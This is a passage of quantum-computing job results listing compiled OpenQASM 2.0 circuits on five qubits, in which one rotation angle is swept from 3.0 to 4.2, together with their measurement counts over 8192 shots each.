q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1245', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1252, '0x1': 1653, '0x0': 3055, '0x2': 2232}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.00000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1247', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1336, '0x1': 1671, '0x0': 3050, '0x2': 2135}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.10000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1249', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1292, '0x1': 1666, '0x0': 2949, '0x2': 2285}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.20000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1251', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1256, '0x1': 1743, '0x0': 2923, '0x2': 2270}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.30000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1253', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1221, '0x1': 1664, '0x0': 3046, '0x2': 2261}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.40000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1255', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1184, '0x1': 1722, '0x0': 3034, '0x2': 2252}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.50000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1257', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1196, '0x1': 1714, '0x0': 2985, '0x2': 2297}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.60000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1259', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1121, '0x1': 1769, '0x0': 3053, '0x2': 2249}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.70000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1261', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1220, '0x1': 1674, '0x0': 2977, '0x2': 2321}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.80000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1263', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1130, '0x1': 1718, '0x0': 2971, '0x2': 2373}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.90000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1265', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1141, '0x1': 1693, '0x0': 2944, '0x2': 2414}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.00000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1267', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1010, '0x1': 1696, '0x0': 3065, '0x2': 2421}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.10000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1269', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1056, '0x1': 1673, '0x0': 3002, '0x2': 2461}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.20000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1271', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1058, '0x1': 1684, '0x0': 2977, '0x2': 2473}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier 